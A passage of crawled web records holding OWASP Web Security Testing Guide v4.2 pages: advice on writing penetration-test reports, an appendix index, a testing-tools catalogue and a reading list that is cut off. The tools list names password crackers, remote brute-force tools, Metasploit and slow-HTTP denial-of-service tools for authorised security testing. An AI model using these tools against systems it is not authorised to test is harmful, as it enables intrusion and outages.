"https://owasp.org/www-project-web-security-testing-guide/v42/5-Reporting/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/5-Reporting/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "5-Reporting"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Reporting"}, {"uroven": 2, "text": "About this Section"}, {"uroven": 2, "text": "1. Introduction"}, {"uroven": 3, "text": "1.1 Version Control"}, {"uroven": 3, "text": "1.2 Table of Contents"}, {"uroven": 3, "text": "1.3 The Team"}, {"uroven": 3, "text": "1.4 Scope"}, {"uroven": 3, "text": "1.5 Limitations"}, {"uroven": 3, "text": "1.6 Timeline"}, {"uroven": 3, "text": "1.7 Disclaimer"}, {"uroven": 2, "text": "2. Executive Summary"}, {"uroven": 2, "text": "3. Findings"}, {"uroven": 3, "text": "3.1 Findings Summary"}, {"uroven": 3, "text": "3.2 Findings Details"}, {"uroven": 2, "text": "Appendices"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Reporting\n\nPerforming the technical side of the assessment is only half of the overall assessment process. The final product is the production of a well written and informative report. A report should be easy to understand and should highlight all the risks found during the assessment phase. The report should appeal to both executive management and technical staff.\n\n## About this Section\n\nThis guide provides only suggestions about one possible approach to reporting, and should not be treated as as strict rules that must be followed. When considering any of the recommendations below, always ask yourself whether the recommendation would improve your report.\n\nThis guide to reporting is a best fit for consultancy-based reports. It may be overkill for internal or bug bounty reports.\n\nRegardless of the audience, it’s advisable to secure the report and encrypt it to ensure that only the receiving party is able to use it.\n\nA good report helps your client understand your findings and highlights the quality of your technical testing. The quality of the technical testing is completely irrelevant if the client can’t understand your findings.\n\n## 1. Introduction\n\n### 1.1 Version Control\n\nSets report changes, mostly presented in a table format such as the below.\n\n| Version | Description | Date | Author |\n| --- | --- | --- | --- |\n| 1.0 | Initial report | DD/MM/YYYY | J. Doe |\n\n### 1.2 Table of Contents\n\nA table of contents page for the document.\n\n### 1.3 The Team\n\nA list of the team members detailing their expertise and qualifications.\n\n### 1.4 Scope\n\nThe boundaries and the needs of the engagement agreed upon with the organization.\n\n### 1.5 Limitations\n\nLimitations can be:\n\n- Out-of-bounds areas in relation to testing.\n- Broken functionality.\n- Lack of cooperation.\n- Lack of time.\n- Lack of access or credentials.\n\n### 1.6 Timeline\n\nThe duration of the engagement.\n\n### 1.7 Disclaimer\n\nYou may wish to provide a disclaimer for your service. Always consult a legal professional in order to create a legally-binding document.\n\nThe following example is for illustrative purposes only. It should not be used as-is and does not constitute legal advice.\n\n*This test is a “point in time” assessment and as such the environment could have changed since the test was run. There is no guarantee that all possible security issues have been identified, and that new vulnerabilities may have been discovered since the tests were run. As such, this report serves as a guiding document and not a warranty that the report provides a full representation of the risks threatening the systems at hand.*\n\n## 2. Executive Summary\n\nThis is like the elevator pitch of the report, it aims at providing executives with:\n\n- The objective of the test.\n - Describe the business need behind the security test.\n - Describe how the tests helped the organization understand their systems.\n- Key findings in a business context, such as possible compliance issues, reputation damage, etc. Focus on the business impact and leave out technical details for now.\n- The strategic recommendations on how the business can stop the issues from happening again. Describe these in a non-technical context and leave specific technical recommendations out for now.\n\nThe summary should be constructive and meaningful. Avoid jargon and negative speculation. If figures, graphs, or illustrations are used, ensure they help deliver a message in a clearer way than text would.\n\n## 3. Findings\n\nThis section is aimed at the technical team. It should include all the necessary information to understand the vulnerability, replicate it, and resolve it. Logical separation can help improve the readability of the report. For example, you might have separate sections titled “External Access” and “Internal Access”.\n\nIf this is a re-test, you might create a subsection that summarizes findings of the previous test, the updated status of previously identified vulnerabilities, and any cross-references with the current test.\n\n### 3.1 Findings Summary\n\nA list of the findings with their risk level. A table can be used for ease of use by both teams.\n\n| Ref. ID | Title | Risk Level |\n| --- | --- | --- |\n| 1 | User Authentication Bypass | High |\n\n### 3.2 Findings Details\n\nEach finding should be detailed with the following information:\n\n- Reference ID, which can be used for communication between parties and for cross-references across the report.\n- The vulnerability title, such as “User Authentication Bypass”.\n- The likelihood or exploitability of the issue, based on various factors such as:\n - How easy it is to exploit.\n - Whether there is working exploit code for it.\n - The level of access required.\n - Attacker motivation to exploit it.\n- The impact of the vulnerability on the system.\n- Risk of the vulnerability on the application.\n - Some suggested values are: Informational, Low, Medium, High, and Critical. Ensure that you detail the values you decide to use in an appendix. This allows the reader to understand how each score is determined.\n - On certain engagements it is required to have a [CVSS](https://www.first.org/cvss/) score. If not required, sometimes it is good to have, and other times it just adds complexity to the report.\n- Detailed description of what the vulnerability is, how to exploit it, and the damage that may result from its exploitation. Any possibly-sensitive data should be masked, for example, passwords, personal information, or credit card details.\n- Detailed steps on how to remediate the vulnerability, possible improvements that could help strengthen the security posture, and missing security practices.\n- Additional resources that could help the reader to understand the vulnerability, such as an image, a video, a CVE, an external guide, etc.\n\nFormat this section in a way that best delivers your message.\n\nAlways ensure that your descriptions provide enough information for the engineer reading this report to take action based on it. Explain the finding thoroughly and provide as much technical detail as might be necessary to remedy it.\n\n## Appendices\n\nMultiple appendices can be added, such as:\n\n- Test methodology used.\n- Severity and risk rating explanations.\n- Relevant output from tools used.\n - Make sure to clean the output and not just dump it.\n- A checklist of all the tests conducted, such as the [WSTG checklist](https://github.com/OWASP/wstg/tree/master/checklist) . These can be provided as attachments to the report.\n\n## References\n\nThis section is not part of the suggested report format. The below links provide more guidance to writing your reports.\n\n- [SANS: Tips for Creating a Strong Cybersecurity Assessment Report](https://www.sans.org/blog/tips-for-creating-a-strong-cybersecurity-assessment-report/)\n- [SANS: Writing a Penetration Testing Report](https://www.sans.org/reading-room/whitepapers/bestprac/paper/33343)\n- [Infosec Institute: The Art of Writing Penetration Test Reports](https://resources.infosecinstitute.com/topic/writing-penetration-testing-reports/)\n- [Dummies: How to Structure a Pen Test Report](https://www.dummies.com/computers/macs/security/how-to-structure-a-pen-test-report/)\n- [Rhino Security Labs: Four Things Every Penetration Test Report Should Have](https://rhinosecuritylabs.com/penetration-testing/four-things-every-penetration-test-report/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7215, "slov": 1074, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:31", "sha256": "3b92734f78481b5f64ae1ef2b873486612785f013c38cbfea71ef1891c4889a3", "hloubka": 0, "zdroj_objevu": "seed", "ze_seznamu": true, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.first.org/cvss/", "https://github.com/OWASP/wstg/tree/master/checklist", "https://www.sans.org/blog/tips-for-creating-a-strong-cybersecurity-assessment-report/", "https://www.sans.org/reading-room/whitepapers/bestprac/paper/33343", "https://resources.infosecinstitute.com/topic/writing-penetration-testing-reports/", "https://www.dummies.com/computers/macs/security/how-to-structure-a-pen-test-report/", "https://rhinosecuritylabs.com/penetration-testing/four-things-every-penetration-test-report/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "6-Appendix"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Appendix"}], "markdown": "# WSTG - v4.2\n\n# Appendix\n\nAppendix A. [Testing Tools Resource](/www-project-web-security-testing-guide/v42/6-Appendix/A-Testing_Tools_Resource)\n\nAppendix B. [Suggested Reading](/www-project-web-security-testing-guide/v42/6-Appendix/B-Suggested_Reading)\n\nAppendix C. [Fuzz Vectors](/www-project-web-security-testing-guide/v42/6-Appendix/C-Fuzz_Vectors)\n\nAppendix D. [Encoded Injection](/www-project-web-security-testing-guide/v42/6-Appendix/D-Encoded_Injection)\n\nAppendix E. [History](/www-project-web-security-testing-guide/v42/6-Appendix/E-History)\n\nAppendix F. [Leveraging Dev Tools](/www-project-web-security-testing-guide/v42/6-Appendix/F-Leveraging_Dev_Tools)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 745, "slov": 72, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:47", "sha256": "c481181429f40df61e0eeeefa80e45cfcda9cab7bdc9f33e283fdf30daef0251", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/A-Testing_Tools_Resource", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/A-Testing_Tools_Resource", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/A-Testing_Tools_Resource", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "6-Appendix"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing Tools Resource"}, {"uroven": 2, "text": "General Web Testing"}, {"uroven": 3, "text": "Testing for Specific Vulnerabilities"}, {"uroven": 4, "text": "Testing for JavaScript Security, DOM XSS"}, {"uroven": 4, "text": "Testing for SQL Injection"}, {"uroven": 4, "text": "Testing Oracle"}, {"uroven": 4, "text": "Testing SSL"}, {"uroven": 4, "text": "Testing for Brute Force Attacks"}, {"uroven": 5, "text": "Password Crackers"}, {"uroven": 5, "text": "Remote Brute Force"}, {"uroven": 4, "text": "Testing Buffer Overflow"}, {"uroven": 4, "text": "Fuzzer"}, {"uroven": 4, "text": "Googling"}, {"uroven": 4, "text": "Slow HTTP"}, {"uroven": 2, "text": "Commercial Black-Box Testing Tools"}, {"uroven": 3, "text": "Linux Distrubtions"}, {"uroven": 2, "text": "Source Code Analyzers"}, {"uroven": 3, "text": "Open Source / Freeware"}, {"uroven": 3, "text": "Commercial"}, {"uroven": 2, "text": "Acceptance Testing Tools"}, {"uroven": 3, "text": "Open Source Tools"}, {"uroven": 2, "text": "Other Tools"}, {"uroven": 3, "text": "Binary Analysis"}, {"uroven": 3, "text": "Site Mirroring"}], "markdown": "# WSTG - v4.2\n\n# Testing Tools Resource\n\n## General Web Testing\n\n- [OWASP ZAP](https://www.zaproxy.org)\n - The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.\n - ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.\n- [Burp Proxy](https://www.portswigger.net/Burp/)\n - Burp Proxy is an intercepting proxy server for security testing of web applications it allows Intercepting and modifying all HTTP(S) traffic passing in both directions, it can work with custom SSL certificates and non-proxy-aware clients.\n- [Firefox HTTP Header Live](https://addons.mozilla.org/en-US/firefox/addon/http-header-live)\n - View HTTP headers of a page and while browsing.\n- [Firefox Tamper Data](https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum/)\n - Use tamperdata to view and modify HTTP/HTTPS headers and post parameters\n- [Firefox Web Developer](https://addons.mozilla.org/en-US/firefox/addon/web-developer/)\n - The Web Developer extension adds various web developer tools to the browser.\n- [w3af](https://w3af.org)\n - w3af is a Web Application Attack and Audit Framework. The project’s goal is finding and exploiting web application vulnerabilities.\n- [Chrome Web Developer](https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm)\n - The Web Developer extension adds a toolbar button to the browser with various web developer tools. This is the official port of the Web Developer extension for Chrome.\n- [HTTP Request Maker](https://chrome.google.com/webstore/detail/kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US)\n - Request Maker is a tool for penetration testing. With it you can easily capture requests made by web pages, tamper with the URL, headers and POST data and, of course, make new requests\n- [Cookie Editor](https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US)\n - Edit This Cookie is a cookie manager. You can add, delete, edit, search, protect and block cookies\n- [Session Manager](https://chrome.google.com/webstore/detail/session-manager/mghenlmbmjcpehccoangkdpagbcbkdpc)\n - With Session Manager you can quickly save your current browser state and reload it whenever necessary. You can manage multiple sessions, rename or remove them from the session library. Each session remembers the state of the browser at its creation time, i.e the opened tabs and windows.\n\n### Testing for Specific Vulnerabilities\n\n#### Testing for JavaScript Security, DOM XSS\n\n- [BlueClosure BC Detect](https://www.blueclosure.com)\n\n#### Testing for SQL Injection\n\n- [Bernardo Damele A. G.: sqlmap, automatic SQL injection tool](http://sqlmap.org/)\n\n#### Testing Oracle\n\n- [Toad for Oracle](https://www.quest.com/toad)\n\n#### Testing SSL\n\n- [O-Saft](https://github.com/OWASP/O-Saft)\n- [sslyze](https://github.com/iSECPartners/sslyze)\n- [TestSSLServer](https://www.bolet.org/TestSSLServer/)\n- [SSLScan](https://sourceforge.net/projects/sslscan/)\n- [SSLScan windows](https://github.com/rbsec/sslscan/releases)\n- [SSLLabs](https://www.ssllabs.com/ssltest/)\n\n#### Testing for Brute Force Attacks\n\n##### Password Crackers\n\n- [John the Ripper](https://www.openwall.com/john/)\n- [HashCat](https://hashcat.net/hashcat/)\n\n##### Remote Brute Force\n\n- [Patator](https://github.com/lanjelot/patator)\n- [THC Hydra](https://github.com/vanhauser-thc/thc-hydra)\n\n#### Testing Buffer Overflow\n\n- [OllyDbg](http://www.ollydbg.de)\n - “A windows based debugger used for analyzing buffer overflow vulnerabilities”\n- [Spike](https://www.immunitysec.com/downloads/SPIKE2.9.tgz)\n - A fuzzer framework that can be used to explore vulnerabilities and perform length testing\n- [Brute Force Binary Tester (BFB)](https://sourceforge.net/projects/bfbtester/)\n - A proactive binary checker\n- [Metasploit](https://www.metasploit.com/)\n - A rapid exploit development and Testing frame work\n\n#### Fuzzer\n\n- [Wfuzz](https://github.com/xmendez/wfuzz)\n\n#### Googling\n\n- [Bishop Fox’s Google Hacking Diggity Project](https://resources.bishopfox.com/resources/tools/google-hacking-diggity/)\n- [Google Hacking database](https://www.exploit-db.com/google-hacking-database/)\n\n#### Slow HTTP\n\n- [Slowloris](https://github.com/gkbrk/slowloris)\n- [slowhttptest](https://github.com/shekyan/slowhttptest)\n\n## Commercial Black-Box Testing Tools\n\n- [NGS Typhon](https://www.nccgroup.trust/uk/our-services/cyber-security/technology-solutions/)\n- [HCL AppScan](https://www.hcltechsw.com/products/appscan)\n- [Burp Intruder](https://portswigger.net/burp)\n- [Acunetix Web Vulnerability Scanner](https://www.acunetix.com)\n- [MaxPatrol Security Scanner](https://www.ptsecurity.com/ww-en/products/maxpatrol/)\n- [Parasoft SOAtest (more QA-type tool)](https://www.parasoft.com/products/soatest)\n- [N-Stalker Web Application Security Scanner](https://www.nstalker.com)\n- [SoapUI (Web Service security testing)](https://www.soapui.org/security-testing/getting-started.html)\n- [Netsparker](https://www.netsparker.com/web-vulnerability-scanner/)\n- [SAINT](https://www.carson-saint.com/)\n- [QualysGuard WAS](https://www.qualys.com/apps/web-app-scanning/)\n- [IndusFace WAS](https://www.indusface.com/web-application-scanning.php)\n- [Fortify WebInspect](https://www.microfocus.com/en-us/solutions/application-security)\n\n### Linux Distrubtions\n\n- [Kali](https://www.kali.org/)\n- [Parrot](https://www.parrotsec.org/)\n- [Samurai](https://github.com/SamuraiWTF/samuraiwtf)\n- [Santoku](https://sourceforge.net/projects/santoku/)\n- [BlackArch](https://blackarch.org/downloads.html)\n- [PenToo](https://www.pentoo.ch/)\n\n## Source Code Analyzers\n\n### Open Source / Freeware\n\n- [Spotbugs](https://spotbugs.github.io/)\n- [Find Security Bugs](https://find-sec-bugs.github.io/)\n- [FlawFinder](https://dwheeler.com/flawfinder/)\n- [phpcs-security-audit](https://github.com/squizlabs/PHP_CodeSniffer)\n- [PMD](https://pmd.github.io/)\n- [Microsoft’s FxCop](https://docs.microsoft.com/en-us/visualstudio/code-quality/install-fxcop-analyzers?view=vs-2019)\n- [SonarQube](https://www.sonarqube.org/)\n- [W3af](https://w3af.org/)\n\n### Commercial\n\n- [Checkmarx CxSuite](https://www.checkmarx.com/)\n- [GrammaTech](https://www.grammatech.com/)\n- [ITS4](https://testarmy.com/en/)\n- [ParaSoft](https://www.parasoft.com/)\n- [Virtual Forge CodeProfiler for ABAP](https://www.virtualforge.com/de/codeprofiler-for-abap)\n- [Veracode](https://www.veracode.com/)\n- [Peach Fuzzer](https://www.peach.tech/)\n- [Burp Suite](https://portswigger.net/burp/)\n- [Fortify SCA](https://www.microfocus.com/en-us/solutions/application-security)\n\n## Acceptance Testing Tools\n\nAcceptance testing tools are used to validate the functionality of web applications. Some follow a scripted approach and typically make use of a Unit Testing framework to construct test suites and test cases. Most, if not all, can be adapted to perform security specific tests in addition to functional tests.\n\n- [BDD Security](https://github.com/continuumsecurity/bdd-security)\n\n### Open Source Tools\n\n- [HtmlUnit](http://htmlunit.sourceforge.net)\n - A Java and JUnit based framework that uses the Apache HttpClient as the transport.\n - Very robust and configurable and is used as the engine for a number of other testing tools.\n- [Selenium](https://www.seleniumhq.org/)\n - JavaScript based testing framework, cross-platform and provides a GUI for creating tests.\n\n## Other Tools\n\n### Binary Analysis\n\n- [Veracode](https://www.veracode.com)\n\n### Site Mirroring\n\n- [wget](https://www.gnu.org/software/wget/)\n- [Wget for windows](http://gnuwin32.sourceforge.net/packages/wget.htm)\n- [curl](https://curl.haxx.se/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7686, "slov": 692, "odkazu": 252, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:36", "sha256": "c3b0375bf10ecae78c21295e809c098fe0872f1a6c0e68a0f20d0fd6d88c1c3c", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://www.portswigger.net/Burp/", "https://addons.mozilla.org/en-US/firefox/addon/http-header-live", "https://addons.mozilla.org/en-US/firefox/addon/tamper-data-for-ff-quantum/", "https://addons.mozilla.org/en-US/firefox/addon/web-developer/", "https://w3af.org/", "https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm", "https://chrome.google.com/webstore/detail/kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US", "https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US", "https://chrome.google.com/webstore/detail/session-manager/mghenlmbmjcpehccoangkdpagbcbkdpc", "https://www.blueclosure.com/", "http://sqlmap.org/", "https://www.quest.com/toad", "https://github.com/OWASP/O-Saft", "https://github.com/iSECPartners/sslyze", "https://www.bolet.org/TestSSLServer/", "https://sourceforge.net/projects/sslscan/", "https://github.com/rbsec/sslscan/releases", "https://www.ssllabs.com/ssltest/", "https://www.openwall.com/john/", "https://hashcat.net/hashcat/", "https://github.com/lanjelot/patator", "https://github.com/vanhauser-thc/thc-hydra", "http://www.ollydbg.de/", "https://www.immunitysec.com/downloads/SPIKE2.9.tgz", "https://sourceforge.net/projects/bfbtester/", "https://www.metasploit.com/", "https://github.com/xmendez/wfuzz", "https://resources.bishopfox.com/resources/tools/google-hacking-diggity/", "https://www.exploit-db.com/google-hacking-database/", "https://github.com/gkbrk/slowloris", "https://github.com/shekyan/slowhttptest", "https://www.nccgroup.trust/uk/our-services/cyber-security/technology-solutions/", "https://www.hcltechsw.com/products/appscan", "https://portswigger.net/burp", "https://www.acunetix.com/", "https://www.ptsecurity.com/ww-en/products/maxpatrol/", "https://www.parasoft.com/products/soatest", "https://www.nstalker.com/", "https://www.soapui.org/security-testing/getting-started.html", "https://www.netsparker.com/web-vulnerability-scanner/", "https://www.carson-saint.com/", "https://www.qualys.com/apps/web-app-scanning/", "https://www.indusface.com/web-application-scanning.php", "https://www.microfocus.com/en-us/solutions/application-security", "https://www.kali.org/", "https://www.parrotsec.org/", "https://github.com/SamuraiWTF/samuraiwtf", "https://sourceforge.net/projects/santoku/", "https://blackarch.org/downloads.html", "https://www.pentoo.ch/", "https://spotbugs.github.io/", "https://find-sec-bugs.github.io/", "https://dwheeler.com/flawfinder/", "https://github.com/squizlabs/PHP_CodeSniffer", "https://pmd.github.io/", "https://docs.microsoft.com/en-us/visualstudio/code-quality/install-fxcop-analyzers?view=vs-2019", "https://www.sonarqube.org/", "https://www.checkmarx.com/", "https://www.grammatech.com/", "https://testarmy.com/en/", "https://www.parasoft.com/", "https://www.virtualforge.com/de/codeprofiler-for-abap", "https://www.veracode.com/", "https://www.peach.tech/", "https://portswigger.net/burp/", "https://github.com/continuumsecurity/bdd-security", "http://htmlunit.sourceforge.net/", "https://www.seleniumhq.org/", "https://www.gnu.org/software/wget/", "http://gnuwin32.sourceforge.net/packages/wget.htm", "https://curl.haxx.se/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/B-Suggested_Reading", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/B-Suggested_Reading", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/6-Appendix/B-Suggested_Reading", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "6-Appendix"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Suggested Reading"}, {"uroven": 2, "text": "Whitepapers"}, {"uroven": 2, "text": "Books"}, {"uroven": 2, "text": "Useful Websites"}, {"uroven": 2, "text": "Videos"}, {"uroven": 2, "text": "Deliberately Insecure Web Applications"}], "markdown": "# WSTG - v4.2\n\n# Suggested Reading\n\n## Whitepapers\n\n- [The Economic Impacts of Inadequate Infrastructure for Software Testing](https://www.nist.gov/system/files/documents/director/planning/report02-3.pdf)\n- [Improving Web Application Security: Threats and Countermeasures](https://www.microsoft.com/en-ca/download/details.aspx?id=1330)\n- [NIST Publications](https://csrc.nist.gov/publications/sp)\n- [Software Assurance: An Overview of Current Practices](https://safecode.org/wp-content/uploads/2018/01/SAFECode_BestPractices0208.pdf)\n- [The OWASP Guide Project](https://wiki.owasp.org/index.php/OWASP_Guide_Project)\n- [Use Cases: Just the FAQs and Answers](https://www.ibm.com/developerworks/rational/library/content/RationalEdge/jan03/UseCaseFAQS_TheRationalEdge_Jan2003.pdf)\n\n## Books\n\n- The Art of Software Security Testing: Identifying Software Security Flaws, by Chris Wysopal, Lucas Nelson, Dino Dai Zovi, Elfriede Dustin, published by Addison-Wesley, ISBN 0321304861 (2006)\n- Building Secure Software: How to Avoid Security Problems the Right Way, by Gary McGraw and John Viega, published by Addison-Wesley Pub Co, ISBN 020172152X (2002)\n- [The Ethical Hack: A Framework for Business Value Penetration Testing, By James S. Tiller, Auerbach Publications, ISBN 084931609X (2005)](https://books.google.com/books?id=fwASXKXOolEC&printsec=frontcover&source=gbs_ge_summary_r&redir_esc=y#v=onepage&q&f=false)\n- [Exploiting Software: How to Break Code, by Gary McGraw and Greg Hoglund, published by Addison-Wesley Pub Co, ISBN 0201786958 (2004)](http://www.exploitingsoftware.com)\n- [The Hacker’s Handbook: The Strategy behind Breaking into and Defending Networks, By Susan Young, Dave Aitel, Auerbach Publications, ISBN: 0849308887 (2005)](https://books.google.com/books?id=AO2fsAPVC34C&printsec=frontcover&source=gbs_ge_summary_r&redir_esc=y#v=onepage&q&f=false)\n- [Hacking Exposed: Web Applications 3, by Joel Scambray, Vinvent Liu, Caleb Sima, published by McGraw-Hill Osborne Media, ISBN 007222438X (2010)](http://www.webhackingexposed.com/)\n- The Web Application Hacker’s Handbook: Finding and Exploiting Security Flaws, 2nd Edition - [published by Dafydd Stuttard, Marcus Pinto, ISBN 9781118026472 (2011)]\n- How to Break Software Security, by James Whittaker, Herbert H. Thompson, published by Addison Wesley, ISBN 0321194330 (2003)\n- How to Break Software: Functional and Security Testing of Web Applications and Web Services, by Make Andrews, James A. Whittaker, published by Pearson Education Inc., ISBN 0321369440 (2006)\n- [Innocent Code: A Security Wake-Up Call for Web Programmers, by Sverre Huseby, published by John Wiley & Sons, ISBN 0470857447(2004)](http://innocentcode.thathost.com)\n - [Online version available here](https://books.google.com/books?id=RjVjgPQsKogC&printsec=frontcover&source=gbs_ge_summary_r&redir_esc=y#v=onepage&q&f=false)\n- Mastering the Requirements Process, by Suzanne Robertson and James Robertson, published by Addison-Wesley Professional, ISBN 0201360462\n - [Online version available here](https://books.google.com/books?id=SN4WegDHVCcC&printsec=frontcover&source=gbs_ge_summary_r&cad=0#v=onepage&q&f=false)\n- Secure Coding: Principles and Practices, by Mark Graff and Kenneth R. Van Wyk, published by O’Reilly, ISBN 0596002424 (2003)\n- Secure Programming HOWTO, David Wheeler (2015)\n - [Online version available here](https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/index.html)\n- [Securing Java, by Gary McGraw, Edward W. Felten, published by Wiley, ISBN 047131952X (1999)](http://www.securingjava.com)\n- Software Security: Building Security In, by Gary McGraw, published by Addison-Wesley Professional, ISBN 0321356705 (2006)\n- Software Testing In The Real World (Acm Press Books) by Edward Kit, published by Addison-Wesley Professional, ISBN 0201877562 (1995)\n- Software Testing Techniques, 2nd Edition, By Boris Beizer, International Thomson Computer Press, ISBN 0442206720 (1990)\n- The Tangled Web: A Guide to Securing Modern Web Applications, by Michael Zalewski, published by No Starch Press Inc., ISBN 047131952X (2011)\n- The Unified Modeling Language – A User Guide – by Grady Booch, James Rumbaugh, Ivar Jacobson, published by Addison-Wesley Professional, ISBN 0321267974 (2005)\n- The Unified Modeling Language User Guide, by Grady Booch, James Rumbaugh, Ivar Jacobson, Ivar published by Addison-Wesley Professional, ISBN 0-201-57168-4 (1998)\n- Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast, by Paco Hope, Ben Walther, published by O’Reilly, ISBN 0596514832 (2008)\n- Writing Secure Code, by Mike Howard and David LeBlanc, published by Microsoft Press, ISBN 0735617228 (2004)\n\n## Useful Websites\n\n- [Build Security In](https://www.us-cert.gov/bsi)\n- [CERT Secure Coding Standards](https://wiki.sei.cmu.edu/confluence/display/seccode/SEI+CERT+Coding+Standards)\n- [McAfee Foundstone Publications](https://www.mcafee.com/enterprise/en-us/search.html?q=Foundstone)\n- [McAfee Free Tools](https://www.mcafee.com/enterprise/en-us/downloads/free-tools.html)\n- [OASIS Web Application Security (WAS) TC](https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=was)\n- [Open Source Software Testing Tools](https://www.opensourcetesting.org/category/security/)\n- [SANS Internet Storm Center (ISC)](https://isc.sans.edu/)\n- [The Open Web Application Application Security Project (OWASP)](https://owasp.org)\n- [Pentestmonkey - Pen Testing Cheat Sheets](http://pentestmonkey.net/cheat-sheet)\n- [Secure Coding Guidelines for the .NET Framework 